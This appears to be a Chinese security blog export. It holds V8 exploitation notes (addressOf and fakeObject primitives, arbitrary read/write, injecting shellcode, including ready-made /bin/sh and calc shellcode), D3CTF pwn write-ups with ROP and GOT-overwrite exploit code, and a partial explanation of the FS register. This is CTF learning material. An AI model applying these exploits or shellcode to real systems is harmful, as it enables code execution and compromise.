“addressOf”\n其一般的写法如下:\n//获取某个变量的地址var other={"a":1};var obj_array=[other];var double_array=[2.1];var double_array_map=double_array.getMap();//假设我们有办法获取到其 map 值function addressOf(target_var){ obj_array[0]=target_var; obj_array.setMap(double_array_map);//设置其 map 为浮点数数组的 map let target_var_addr=float_to_int(obj_array[0]);//读取obj_array[0]并将该浮点数转换为整型 return target_var_addr;//此处返回的是 target_var 的对象结构体地址}\n\n\n该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象\n\nfakeObject与 addressOf 的步骤相反,将 float_arr 的 map 改为 obj_arr 的 map,使得在访问 float_arr[0] 时得到一个以 float_arr[0] 地址为起始的对象\n//将某个地址转换为对象var other={"a":1};var obj_array=[other];var double_array=[2.1];var obj_array_map=obj_array.getMap();//假设我们有办法获取到其 map 值function fakeObject(target_addr){ double_array[0]=int_to_float(target_addr+1n);//将地址加一以区分对象和数值 double_array.setMap(obj_array_map); let fake_obj=double_array[0]; return fake_obj;}\n\n\n该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象\n\n任意地址读可以尝试构造出这样一个结构:\nvar fake_array=[double_array_map,int_to_float(0x4141414141414141n)];\n\n其在内存中的布局应为:\n32bit elements map 32bit length 64bit double_array_map 64bit 0x4141414141414141 element32bit fake_array map 32bit properties 32bit elements 32bit length JSArray\n\n接下来通过 addressOf 获取 fake_array 的地址,然后就能够计算出 double_array_map 的地址;再通过 fakeObject 将这个地址伪造成一个对象数组,对比下面的内存布局:\n32bit map addr 32bit properties addr 32bit elements addr 32bit length JSArray\n\n此处的 fake_array[0] 成为了 JSArray 的 map 和 properties ,fake_array[1] 被当作了 elements addr 和 length,通过修改 fake_array[1] 就能够使该 elements 指向任意地址,再访问 fakeObject[0] 即可读取该地址处的数据了(此处 double_array_map 需要对应为一个 double 数组的 map)\n代码逻辑大致如下:\nvar fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4function read64_addr(addr){ var fake_array_addr=addressOf(fake_array); var fake_object_addr=fake_array_addr-0x10n; var fake_object=fakeObject(fake_object_addr); fake_array[1]=int_to_float(addr-8n+1n); return fake_object[0];} \n\n任意地址写同上一小节一样,只需要将最后的 return 修改为写入即可:\nvar fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4function write64_addr(addr,data){ var fake_array_addr=addressOf(fake_array); var fake_object_addr=fake_array_addr-0x10n; var fake_object=fakeObject(fake_object_addr); fake_array[1]=int_to_float(addr-8n+1n); fake_object[0]=data;} \n\n写入shellcode参考了几篇其他师傅们所写的博客后,会发现目前所实现的任意地址写并不能正常工作,大致原因如下:\n\n设置的 elements 地址为 addr-8n+1n,我们想要写 shellcode 的地址一般都是内存段在开头,那么更前面的内存空间则是未开辟的,写入时会因为访问未开辟的内存空间发生异常\n另外一个原因是,在尝试写 d8 的 free_hook 或 malloc_hook 时,由于其地址都是以 0x7f 开头,而 Double 类型的浮点数在处理这些高地址时会将低20位置零,导致地址错误(这一点尚未确定,仅作记录)\n\n因此直接性的写入不太能够成功,但间接性的方法或许还是存在的,如果向某个对象中写入数据不需要经过 map 和 length,或许就能够顺利完成了。\n不过 JavaScript 还真的提供了这样的操作:\nvar data_buf = new ArrayBuffer(0x10);var data_view = new DataView(data_buf);data_view.setFloat64(0, 2.0, true);%DebugPrint(data_buf);%DebugPrint(data_view);%SystemBreak();\n\npwndbg> job 0x1032080499e50x1032080499e5: [JSArrayBuffer] - map: 0x103208203271 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1032081ca361 <Object map = 0x103208203299> - elements: 0x10320800222d <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x56504b1f89d0 - byte_length: 16 - max_byte_length: 16 - detachable - properties: 0x10320800222d <FixedArray[0]> - All own properties (excluding elements): {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) }pwndbg> job 0x103208049a250x103208049a25: [JSDataView] - map: 0x103208202ca9 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1032081c8665 <Object map = 0x103208202cd1> - elements: 0x10320800222d <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - buffer =0x1032080499e5 <ArrayBuffer map = 0x103208203271> - byte_offset: 0 - byte_length: 16 - properties: 0x10320800222d <FixedArray[0]> - All own properties (excluding elements): {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) }pwndbg> tel 0x56504b1f89d000:0000│ 0x56504b1f89d0 ◂— 0x400000000000000001:0008│ 0x56504b1f89d8 ◂— 0x0pwndbg> x/20wx 0x1032080499e5-10x1032080499e4: 0x08203271 0x0800222d 0x0800222d 0x000000100x1032080499f4: 0x00000000 0x00000010 0x00000000 0x4b1f89d0\n\n可以注意到,JSDataView 的 buffer 指向了 JSArrayBuffer,而 JSArrayBuffer 的 backing_store 则指向了实际的数据储存地址,那么如果我们能够写 backing_store 为 shellcode 内存段,就可以通过 JSDataView 的 setFloat64 方法直接写入了\n而该成员在 data_buf+0x1C 处\n\n每个成员的地址偏移都会因为版本而迁移,这一点还请读者以自己手上的版本为准\n\nfunction shellcode_write(addr,shellcode){ var data_buf = new ArrayBuffer(shellcode.lenght*8); var data_view = new DataView(data_buf); var buf_backing_store_addr=addressOf(data_buf)+0x18n; write64_addr(buf_backing_store_addr,addr); for (let i=0;i<shellcode.length;++i) data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);}\n\n\n该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象并且由于数据压缩的原因,获取 buf_backing_store_addr 的操作有可能不只是一次 addressOf 即可完成的,需要将低位和高位分别读出然后合并为 64 位地址后再写入,这里只做逻辑抽象,具体实践在以后的章节中另外补充\n\n然后是获取写入内存段的地址了,回到开始的这个脚本:\nvar wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var f = wasmInstance.exports.main;%DebugPrint(f);%DebugPrint(wasmInstance);%SystemBreak();\n\npwndbg> job 0x3e63081d35bd0x3e63081d35bd: [WasmInstanceObject] in OldSpace - map: 0x3e6308207399 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x3e6308048079 <Object map = 0x3e6308207af1> - elements: 0x3e630800222d <FixedArray[0]> [HOLEY_ELEMENTS] - module_object: 0x3e6308049cb1 <Module map = 0x3e6308207231> - exports_object: 0x3e6308049e65 <Object map = 0x3e6308207bb9> - native_context: 0x3e63081c3649 <NativeContext[252]> - memory_object: 0x3e63081d35a5 <Memory map = 0x3e6308207641> - table 0: 0x3e6308049e35 <Table map = 0x3e63082074b1> - imported_function_refs: 0x3e630800222d <FixedArray[0]> - indirect_function_table_refs: 0x3e630800222d <FixedArray[0]> - managed_native_allocations: 0x3e6308049ded <Foreign> - memory_start: 0x7f6b18000000 - memory_size: 65536 - imported_function_targets: 0x55b235cab0e0 - globals_start: (nil) - imported_mutable_globals: 0x55b235cab210 - indirect_function_table_size: 0 - indirect_function_table_sig_ids: (nil) - indirect_function_table_targets: (nil) - properties: 0x3e630800222d <FixedArray[0]> - All own properties (excluding elements): {}pwndbg> tel 0x3e63081d35bd-1 3000:0000│ 0x3e63081d35bc ◂— 0x800222d0820739901:0008│ 0x3e63081d35c4 ◂— 0x800222d0800222d /* '-"' */02:0010│ 0x3e63081d35cc ◂— 0x800222d /* '-"' */03:0018│ 0x3e63081d35d4 —▸ 0x7f6b18000000 ◂— 0x004:0020│ 0x3e63081d35dc ◂— 0x1000005:0028│ 0x3e63081d35e4 —▸ 0x55b235c861b0 —▸ 0x7ffd839ca5f0 ◂— 0x7ffd839ca5f006:0030│ 0x3e63081d35ec —▸ 0x55b235cab0e0 ◂— 0x007:0038│ 0x3e63081d35f4 ◂— 0x0... ↓ 2 skipped0a:0050│ 0x3e63081d360c —▸ 0x55b235cab210 —▸ 0x7f6d2e41cbe0 (main_arena+96) —▸ 0x55b235d28080 ◂— 0x00b:0058│ 0x3e63081d3614 —▸ 0x55b235c86190 —▸ 0x3e6300000000 ◂— sub rsp, 0x800c:0060│ 0x3e63081d361c —▸ 0x1998dd4f3000 ◂— jmp 0x1998dd4f3480 /* 0xcccccc0000047be9 */\n\n可以注意到在 wasmInstance+0x68 处保存了内存段的起始地址,读取该处即可\n泄露地址手记目前为止都是通过自定义一部分变量完成地址泄露的,但这个地址只是某个匿名内存段罢了\n0x271c08040000 0x271c0814d000 rw-p 10d000 0 [anon_271c08040]\n\n因为 WASM 是我们自己定义的,所以还能通过某些方法拿到地址,但如果我们现在不想写 shellcode,想像常规的 PWN 那样去写 free_hook 或者 GOT 表时,该如何泄露地址?\n一个是随机泄露,从某个变量随机的往上一个个测试偏移地址,但很显然,在开启了 ASLR 的情况下,效率太低还不稳定,因此主要通过另外一个较为稳定的方式泄露地址:\nJSArray结构体–> Map结构体–>constructor结构体–>code属性地址–>code内存地址的固定偏移处保存了 v8 的二进制指令地址–>v8 的 GOT 表–> libc基址:\npwndbg> job 0x34d8080499790x34d808049979: [JSArray] - map: 0x34d808203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]pwndbg> job 0x34d808203ae10x34d808203ae1: [Map] - type: JS_ARRAY_TYPE - constructor: 0x34d8081cbe85 <JSFunction Array (sfi = 0x34d80814adc9)>pwndbg> job 0x34d8081cbe850x34d8081cbe85: [Function] in OldSpace - map: 0x34d808203a19 <Map(HOLEY_ELEMENTS)> [FastProperties] - code: 0x34d800185501 <Code BUILTIN ArrayConstructor>pwndbg> tel 0x34d800185501-1+0x7EBAB00 3000:0000│ 0x34d808040000 ◂— 0x4000001:0008│ 0x34d808040008 ◂— 0x1202:0010│ 0x34d808040010 —▸ 0x55cca1732560 ◂— 0x003:0018│ 0x34d808040018 —▸ 0x34d808042118 ◂— 0x60800220504:0020│ 0x34d808040020 —▸ 0x34d808080000 ◂— 0x4000005:0028│ 0x34d808040028 ◂— 0x3dee806:0030│ 0x34d808040030 ◂— 0x007:0038│ 0x34d808040038 ◂— 0x211808:0040│ 0x34d808040040 —▸ 0x55cca17b4258 —▸ 0x55cc9f7a5d20 —▸ 0x55cc9e9ba260 ◂— push rbppwndbg> vmmapLEGEND: STACK HEAP CODE DATA RWX RODATA 0x55cc9e121000 0x55cc9e954000 r--p 833000 0 /path/d8 0x55cc9e954000 0x55cc9f793000 r-xp e3f000 832000 /path/d8 0x55cc9f793000 0x55cc9f7fb000 r--p 68000 1670000 /path/d8 0x55cc9f7fb000 0x55cc9f80c000 rw-p 11000 16d7000 /path/d8\n\n可以注意到,顺着这个地址链查下去,最终能找到地址 0x55cc9e9ba260 ,该地址对应了 d8 的二进制程序中的代码地址,而整个 d8 在内存中是连续的,因此可以找到其 GOT 表,然后再从中得到 libc 的机制,最后即可覆盖 free_hook 或 free 的 got 表为 system 或 one gadget\n尾声最后补充一下可用的 shellcode:\n//Linux x64var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ]; //Windows 计算器var shellcode = [ 0xc0e8f0e48348fcn, 0x5152504151410000n, 0x528b4865d2314856n, 0x528b4818528b4860n, 0xb70f4850728b4820n, 0xc03148c9314d4a4an, 0x41202c027c613cacn, 0xede2c101410dc9c1n, 0x8b20528b48514152n, 0x88808bd001483c42n, 0x6774c08548000000n, 0x4418488b50d00148n, 0x56e3d0014920408bn, 0x4888348b41c9ff48n, 0xc03148c9314dd601n, 0xc101410dc9c141acn, 0x244c034cf175e038n, 0x4458d875d1394508n, 0x4166d0014924408bn, 0x491c408b44480c8bn, 0x14888048b41d001n, 0x5a595e58415841d0n, 0x83485a4159415841n, 0x4158e0ff524120ecn, 0xff57e9128b485a59n, 0x1ba485dffffn, 0x8d8d480000000000n, 0x8b31ba4100000101n, 0xa2b5f0bbd5ff876fn, 0xff9dbd95a6ba4156n, 0x7c063c28c48348d5n, 0x47bb0575e0fb800an, 0x894159006a6f7213n, 0x2e636c6163d5ffdan, 0x657865n, ];\n\n另外,上述代码中的 int_to_float 等函数需要自行定义,实现如下:\nfunction float_to_int(f) { f64[0] = f; return bigUint64[0]; } function int_to_float(i) { bigUint64[0] = i; return f64[0]; } \n\n\n插画作者:Mike Poe-mjcr24.artstation.com\n","categories":["Note","JavaScript-V8"],"tags":["v8"]},{"title":"D3CTF-PWN复现报告","url":"/2022/03/17/d3ctf-pwn/","content":"smarCal逻辑解读:main\nInput solver_id>\nInput expression\nInput result\nsend_message ->solver_id->expression->result\nloop\n\nfork\nget_ID_message\nget_expression_message\nget_result_message\ncalculate func\n\n源码分析首先,三个input方式是完全相同的:但必须注意的是,它们均要求输入的内容是可打印字符,只有solver_id没有这个检查。\n*&solver_id_len[1] = read(0, solver_id, 0x2010uLL);expression_len = read(0, expression, 0x1F00uLL);result_len = read(0, result, 0x1F00uLL);\n\n而发送消息的函数为sub_70DA:\nsub_70DA(dword_C1B0, solver_id, solver_id_len[1]);sub_70DA(dword_C1B0, expression, expression_len);sub_70DA(dword_C1B0, result, result_len);\n\n发送函数如下:\nvoid __fastcall sub_70DA(int a1, const void *a2, int a3){ _QWORD *mess_head; // [rsp+18h] [rbp-18h] _QWORD *mess_body; // [rsp+20h] [rbp-10h] //分配空间与初始化 mess_head = malloc(0x10uLL); mess_body = malloc(a3 + 26LL); memset(mess_head, 0, 0x10uLL); memset(mess_body, 0, a3 + 26LL); //mess_head mess_head[1] = a3; *mess_head = 1LL; msgsnd(a1, mess_head, 8uLL, 0); //mess_body *mess_body = 2LL; memcpy(mess_body + 2, a2, a3); msgsnd(a1, mess_body, a3 + 8LL, 0); //释放空间 free(mess_head); free(mess_body);}\n\n流程虽然很清晰,但必须注意到这是在进行进程间通信,其中README中提到:\n\nsudo sysctl -w kernel.msgmax=8192\n\n这意味着报文长度的限制,对于超出报文的情况会导致入队失败。这一点在之后的利用中会很重要且难以察觉,因此笔者提前注出。\n笔者猜测的结构体如下:\nstruct mess_head{ int64 type=1; int64 mess_len;}struct mess_head{ int64 type=2; int64 mess_len; char mess_context[mess_len]; char pedding[0xA];}\n\n接下来需要分析fork子进程的流程,首先是接收消息的函数:\n__int64 __fastcall get_message_con(int a1){ int i; // [rsp+1Ch] [rbp-44h] void *dest; // [rsp+20h] [rbp-40h] BYREF __int64 v4; // [rsp+28h] [rbp-38h] BYREF msgbuf *msgp; // [rsp+30h] [rbp-30h] void *s; // [rsp+38h] [rbp-28h] __int64 v7[4]; // [rsp+40h] [rbp-20h] BYREF s = malloc(0x20uLL); msgp = 0LL; for ( i = -1; i == -1; i = msgrcv(a1, msgp, *(s + 1) + 8LL, 2LL, 0) ) { memset(s, 0, 0x20uLL); msgrcv(a1, s, 8uLL, 1LL, 0); msgp = malloc(*(s + 1) + 32LL); memset(msgp, 0, *(s + 1) + 32LL); } dest = malloc(*(s + 1)); v4 = *(s + 1); memset(dest, 0, *(s + 1)); memcpy(dest, &msgp[1], *(s + 1)); free(s); free(msgp); sub_73C2(v7, &dest, &v4); return v7[0];}\n\n阅读起来不太容易,感觉似乎多了些毫无意义的翻译,简而言之就是返回一个指向mess_context内容的chunk。然后就能阅读完整的子进程主函数了:\nvoid __fastcall __noreturn sub_68AE(unsigned int a1){ __int64 v1; // rdx __int64 v2; // rdx __int64 v3; // rdx char *ID; // [rsp+10h] [rbp-60h] BYREF __int64 v5; // [rsp+18h] [rbp-58h] void *expression; // [rsp+20h] [rbp-50h] BYREF __int64 v7; // [rsp+28h] [rbp-48h] void *result; // [rsp+30h] [rbp-40h] BYREF __int64 v9; // [rsp+38h] [rbp-38h] __int64 message_con; // [rsp+40h] [rbp-30h] BYREF __int64 v11; // [rsp+48h] [rbp-28h] unsigned __int64 v12; // [rsp+58h] [rbp-18h] while ( 1 ) { ID = 0LL; v5 = 0LL; expression = 0LL; v7 = 0LL; result = 0LL; v9 = 0LL; message_con = get_message_con(a1); v11 = v1; change_pos(&ID, &message_con); if ( !strncmp(ID, "3x1t", 4uLL) ) break; message_con = get_message_con(a1); v11 = v2; change_pos(&expression, &message_con); message_con = get_message_con(a1); v11 = v3; change_pos(&result, &message_con); sub_6493(ID, v5, result, v9, expression, v7); free(ID); free(expression); free(result); } sub_708D(a1); exit(0);}\n\n关键计算发生在sub_6493,但这个函数比较庞大,笔者只截取关键部分(C++反编译出来的代码真的好多啊)。\nchar expression[280]; // [rsp+130h] [rbp-2120h] BYREFchar result[264]; // [rsp+2130h] [rbp-120h] BYREFmemcpy(result, input_result, a5);memcpy(expression, input_expression, a7);write(1, result, a5 + 64);\n\n反汇编代码没有很好的体现出变量a5是result的长度,笔者也没有从汇编细究,但从函数逻辑的角度来说,这么想是一种直觉,它意味着我们会打印除result外更多的数据,这能让我们泄露canary。再回顾主函数发送消息时,获取result的代码:\nresult_len = read(0, result, 0x1F00uLL);\n\n注意到result的长度,我们可以读入足够多数据使其泄露。\nAttack Test尝试泄露数据:\nsla("solver_id",b"1")sla("expression",b"1")#用足够长的result去填充数组,使得write函数泄露额外数据PAYLOAD_SZ=0x2238-0x2130sla("result",b"1"*(PAYLOAD_SZ-1)) # pedding+'\\x0a'#p.recvuntil(b'result is:')p.recv(2)p.recv(PAYLOAD_SZ)canary=p.recv(8)#leak canaryp.recv(8*3)leak1=u64(p.recv(8))#leak addrelf_base=leak1-0x55f4136819c5+0x000055f41367d000-0x2000#csu=elf_base+0x7470#csu gadget\n\n接下来构造ROP链:\ng=p64(0)*3+p64(elf_base+0x748a)+p64(0)+p64(1)+p64(1)+p64(read_got)+p64(8)+p64(write_got)#write(1,read_got,8)g+=p64(csu)+p64(0)+p64(0)+p64(1)+p64(0)+p64(elf_base+0xC1A0)+p64(24)+p64(read_got)#read(0, malloc_got,8)g+=p64(csu)+p64(0)+p64(0)+p64(1)+p64(elf_base+0xC1A0+8)+p64(0)+p64(0)+p64(elf_base+0xC1A0)g+=p64(prdi_ret+1)+p64(prdi_ret)+p64(elf_base+0xC1A0+8)+p64(elf_base+0x7479)#read(0,bss,size)\n\n在构造完成以后,我们就需要期望将ROP写进返回地址以期望事情顺利发展。但我们知道,能够用以溢出的result或者expression被要求输入必须是可打印的,因此这里就需要通过报文长度限制来抢占,使得输入ID这个不被检查的过程中导入了result或者expression。常规发送情况如下:\n\nID 1->expression 1->result 1->ID 2\n\n而接收顺序如下:\n\nID 1->expression 1->result 1->ID 2\n\n接下来我们通过输入长ID来使得报文无法入队,使得接收报文的实际内容变为:\n\nexpression 1->result 1 -> ID 2\n\n这样,第二次发送的ID 2就会被当作result,并且还不会经过可打印检查。\n所以exp接下来这样做:\nsa("solver_id",b"a"*8200)#长报文,不被接收sa("expression",b"a") #短报文,会被当作ID接收sa("result",b"1+1") #短报文,被当作expression接收sa("solver_id",b"a"*PAYLOAD_SZ+canary+rop)#短报文,被当作result接收,但在发送端会认为发送的是IDsa("expression",b"1") #ID sa("result",b"2+1")#expression\n\n最后就只需要顺应rop结束即可:\n#rop中构造了读取函数,会将malloc_got改为system,最后执行对应代码读出flagp.send(p64(leak-libc.sym['read']+libc.sym['system'])+b'cat flag'.ljust(16,b'\\x00'))p.interactive()\n\n\nd3fuse题目是一个fuse文件系统,这里不对其做过多的赘述,一言蔽之就是:\n\n一个能够让用户自定义操作的,用户态的文件系统。\n\n阅读脚本可以知道,/chroot/mnt目录被该文件系统接管,所有在该目录下的操作会由d3fuse进行变换。以及,flag是根目录下,但程序一开始会用chroot将当前根目录切换到chroot,无法直接向上层访问。\n保护检查Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)\n\n程序分析首先根据查阅的资料恢复符号,可以看到该程序接管了如下命令:(部分未标记)\n0000000000404CC0 off_404CC0 dq offset getattr ; DATA XREF: main+49↑o.data.rel.ro:0000000000404CD8 dq offset mkdir.data.rel.ro:0000000000404CE0 dq offset unlink.data.rel.ro:0000000000404CE8 dq offset rmdir.data.rel.ro:0000000000404CF8 dq offset rename.data.rel.ro:0000000000404D18 dq offset truncate.data.rel.ro:0000000000404D20 dq offset open.data.rel.ro:0000000000404D28 dq offset read.data.rel.ro:0000000000404D30 dq offset write.data.rel.ro:0000000000404D40 dq offset sub_401ABA.data.rel.ro:0000000000404D48 dq offset sub_4016E5.data.rel.ro:0000000000404D78 dq offset opendir.data.rel.ro:0000000000404D80 dq offset readdir.data.rel.ro:0000000000404D88 dq offset sub_4017BE.data.rel.ro:0000000000404D98 dq offset init_.data.rel.ro:0000000000404DA0 dq offset sub_401918.data.rel.ro:0000000000404DA8 dq offset sub_401927.data.rel.ro:0000000000404DB0 dq offset create.data.rel.ro:0000000000404E08 _data_rel_ro ends\n\n首先从创建文件的部分开始看,注意到其调用sub_401D74函数,其中有一行漏洞代码:\nv12 = strdup(a2);s2 = __xpg_basename(v12);strcpy(&v15->ptr[48 * v8], s2);\n\nstrcpy是不限定长度的拷贝,而s2是文件名,而文件名一般能无限长,因此可以构成一个溢出。然后根据代码反推文件的结构体:\nstruct fusefile{ char name[32]; int file_type; unsigned int subsize; char *ptr;};//sizeof(fusefile)=48\n\n那么名字就能够向下溢出了。\n那么顺着创建文件的路,从open开始:\n__int64 __fastcall open(__int64 a1, __int64 fd){ int v3; // [rsp+14h] [rbp-Ch] fusefile *v4; // [rsp+18h] [rbp-8h] v4 = find_file(&byte_4050C0, a1); if ( !v4 ) return 4294967294LL; if ( (v4->file_type & 1) != 0 ) return 4294967275LL; if ( (*fd & 0x200) != 0 ) { v3 = sub_401C4E(v4, 0LL); if ( v3 < 0 ) return v3; } *(fd + 16) = v4; return 0LL;}\n\n其会寻找该文件并返回其描述符。\n然后是read函数:\nsize_t __fastcall read(__int64 a1, void *a2, size_t a3, __int64 a4, __int64 a5){ __int64 offset; // [rsp+10h] [rbp-30h] size_t n; // [rsp+18h] [rbp-28h] fusefile *v8; // [rsp+38h] [rbp-8h] n = a3; offset = a4; v8 = *(a5 + 16); if ( a4 > v8->subsize ) offset = v8->subsize; if ( a3 + offset > v8->subsize ) n = v8->subsize - offset; memcpy(a2, &v8->ptr[offset], n); return n;}\n\n会从描述符的ptr处复制数据到指针。\n然后是write:\nsize_t __fastcall write(__int64 a1, const void *a2, size_t a3, __int64 a4, __int64 a5){ __int64 offset; // [rsp+10h] [rbp-40h] unsigned int size; // [rsp+3Ch] [rbp-14h] fusefile *size_4; // [rsp+40h] [rbp-10h] char *v10; // [rsp+48h] [rbp-8h] offset = a4; size_4 = *(a5 + 16); if ( a4 > size_4->subsize ) offset = size_4->subsize; size = offset + a3; if ( (offset + a3) > size_4->subsize ) { v10 = realloc(size_4->ptr, size); if ( !v10 ) return 4294967284LL; size_4->ptr = v10; size_4->subsize = size; } memcpy(&size_4->ptr[offset], a2, a3); return a3;}\n\n将数据复制到ptr指向的内容处。\nAttack Test利用思路:\n\n通过文件名溢出ptr为got表\n读取ptr泄露got内容,得到libc_base\n写got表为system\n令system执行“cp /flag /chroot/flag”\n\n笔者最开始还在好奇,为什么chroot之后,system还能用根目录下的cp来拷贝flag,原因出自sh脚本:\nrunuser -u ctf /d3fuse /chroot/mnt && \\chroot --userspec=1000:1000 /chroot /bin/timeout -k 5 300 /bin/sh\n\n最开始没注意到f3fuse是运行在外部,之后再chroot的,所以该文件是能正常访问外部目录的。\n//musl-gcc -static -o exp exp.c#include <unistd.h>#include <stdlib.h>#include <stdio.h>#include <fcntl.h>#include <string.h>int main(){/*{ .name = 'A'*32; .isdir = 0x10101010; .length = 0x1101010; .context = 0x405070;*/ char* fpath = "/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x01pP@\\x00"; char* cmd = "/usr/bin/cp /flag /chroot/rwdir/flag"; int fd, r; // call realloc char garbage[0x1000]; memset(garbage, 0x1000, 'A'); fd = open("/mnt/garbage", O_CREAT O_WRONLY O_DIRECT); write(fd, garbage, 0x1000); close(fd); fd = open("/mnt/cmd", O_CREAT O_WRONLY O_DIRECT); write(fd, cmd, strlen(cmd)); close(fd); // trigger strcpy vuln fd = open(fpath, O_CREATO_WRONLY O_DIRECT); if(fd < 0) perror("open"); close(fd); // leak realloc address fd = open("/mnt/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", O_RDWR O_DIRECT); unsigned long libc_addr = 0; r = read(fd, &libc_addr, 8); if(r < 0) perror("read"); printf("read: fd=%d, r=%d, libc=%lx\\n", fd, r, libc_addr); // calculate system address libc_addr += -0x48bf0; // overwrite realloc GOT address to system lseek(fd, 0, 0); r = write(fd, &libc_addr, 8); if(r < 0) perror("write"); printf("write: fd=%d, r=%d, libc=%lx\\n", fd, r, libc_addr); // call system(cmd) fd = open("/mnt/cmd", O_WRONLY O_DIRECT); write(fd, garbage, 0x1000); close(fd);}\n\n\n注:pwn的其他题也看了一下,kheap和内核slub分配器看着难度还行,但我目前还没学到那,之后完成了会另外再复现一下试试的。bpf的wp看了好几篇,但对于我这样最开始就没接触bpf的菜鸡来说好像还是有些晦涩,尤其是那个超长的exp,看着有点头皮发麻,希望之后有时间的话把这个东西从头再做一遍,ebf这个东西对我这个希望未来能研究内核的新手来说相当有吸引力。希望接下来也能继续精进吧。\n\n插画ID:71759763\n","categories":["CTF题记","Note"],"tags":["CTF","D3CTF"]},{"title":"FS寄存器 和 段寄存器线索","url":"/2022/01/31/fs-register/","content":"问题始于一个简单的场景:“canary绕过”,一下子唤起我多年的问题,FS寄存器究竟是什么,在哪里?\n如下是段寄存器的结构示意图:\n\n可以注意到,一个64位的段寄存器分为两个部分,Hidden Part部分包括了我们一般会用到的Base Address。常说的“用户无法访问FS寄存器”应该改为”用户无法直接访问FS寄存器”便不会引起误会了。\n来看看官方手册怎么说:\n\nIntel手册:\nIn order to set up compatibility mode for an application, segment-load instructions (MOV to Sreg, POP Sreg) worknormally in 64-bit mode. An entry is read from the system descriptor table (GDT or LDT) and is loaded in the hiddenportion of the segment register. The descriptor-register base, limit, and attribute fields are all loaded. However, thecontents of the data and stack segment selector and the descriptor registers are ignored. \nWhen FS and GS segment overrides are used in 64-bit mode, their respective base addresses are used in the linearaddress calculation: (FS or GS).base + index + displacement. FS.base and GS.base are then expanded to the fulllinear-address size supported by the implementation. The resulting effective address calculation can wrap acrosspositive and negative addresses; the resulting linear address must be canonical. \nIn 64-bit mode, memory accesses using FS-segment and GS-segment overrides are not checked for a runtime limitnor subjected to attribute-checking. Normal segment loads (MOV to Sreg and POP Sreg) into FS and GS load astandard 32-bit base value in the hidden portion of the segment register. The base address bits above the standard32 bits are cleared to 0 to allow consistency for implementations that use less than 64 bits.\n\n\nAMD手册:\nFS and GS Registers in 64-Bit Mode. Unlike the CS, DS, ES, and SS segments, the FS and GSsegment overrides can be used in 64-bit mode. When FS and GS segment overrides are used in 64-bitmode, their respective base addresses are used in the effective-address (EA) calculation. The completeEA calculation then becomes (FS or GS).base + base + (scale ∗ index) + displacement. The FS.baseand GS.base values are also expanded to the full 64-bit virtual-address size, as shown in Figure 4-5.Any overflow in the 64-bit linear address calculation is ignored and the resulting address instead wrapsaround to the other end of the address space. \nIn 64-bit mode, FS-segment and GS-segment overrides are not checked for limit or attributes. Instead,the processor checks that all virtual-address references are in canonical form. \nSegment register-load instructions (MOV to Sreg and POP Sreg) load only a 32-bit base-address valueinto the hidden portion of the FS and GS segment registers. The base-address bits above the low 32 bitsare cleared to 0 as a result of a segment-register load. When a null selector is loaded into FS or GS, thecontents of the corresponding hidden descriptor register are not altered. \nThere are two methods to update the contents of the FS.base and GS.base hidden descriptor fields. Thefirst is available exclusively to privileged software (CPL = 0). The FS.base and GS.base hiddendescriptor-register fields are mapped to MSRs. Privileged software can load a 64-bit base address incanonical form into FS.base or GS.base using a single WRMSR instruction. The FS.base MSR addressis C000_0100h while the GS.base MSR address is C000_0101h. \nThe second method of updating the FS and GS base fields is available to software running at anyprivilege level (when supported by the implementation and enabled by setting CR4[FSGSBASE]).The WRFSBASE and WRGSBASE instructions copy the contents of a GPR to the FS.base andGS.base fields respectively. When the operand size is 32 bits, the upper doubleword of the base iscleared. WRFSBASE and WRGSBASE are only supported in 64-bit mode\n\n二者均提到的WRFSBASE才是真正对FS进行操作的方式。内核代码如下:\n/* * Set the selector to 0 for the same reason * as %gs above. */if (task == current) {loadseg(FS, 0);x86_fsbase_write_cpu(arg2);/* * On non-FSGSBASE systems, save_base_legacy() expects * that we also fill in thread.fsbase. */task->thread.fsbase = arg2;} else {task->thread.fsindex = 0;x86_fsbase_write_task(task, arg2);}\n\n首先会把GDT或LDT的0号选择子加载到FS里。但根据AMD手册可知:\n\n“When a null selector is loaded into FS or GS, the contents of the corresponding hidden descriptor register are not altered.”\n\nFS的低位并不会做出改变,更加重要的是第二个函数x86_fsbase_write_cpu,实现如下:\nstatic inline void x86_fsbase_write_cpu(unsigned long fsbase){if (static_cpu_has(X86_FEATURE_FSGSBASE))wrfsbase(fsbase);elsewrmsrl(MSR_FS_BASE, fsbase);}\n\n其调用wrfsbase来真正向FS中写入Base等数据。至于wrfsbase是什么,它不过只是一条指令罢了。此前的MSR还在使用FSGSBASE指令来写FS寄存器,但它不如wrfsbase来得效率,因此目前的新版本更多愿意选择wrfsbase。这些指令不同于mov、pop等外部修改指令,它们能够直接操作寄存器内部的值,不会把寄存器的内容外泄出来。\n另外,gdb是怎么拿到fsbase的?具体是方式是什么?来看pwndbg的源代码:\nPTRACE_ARCH_PRCTL = 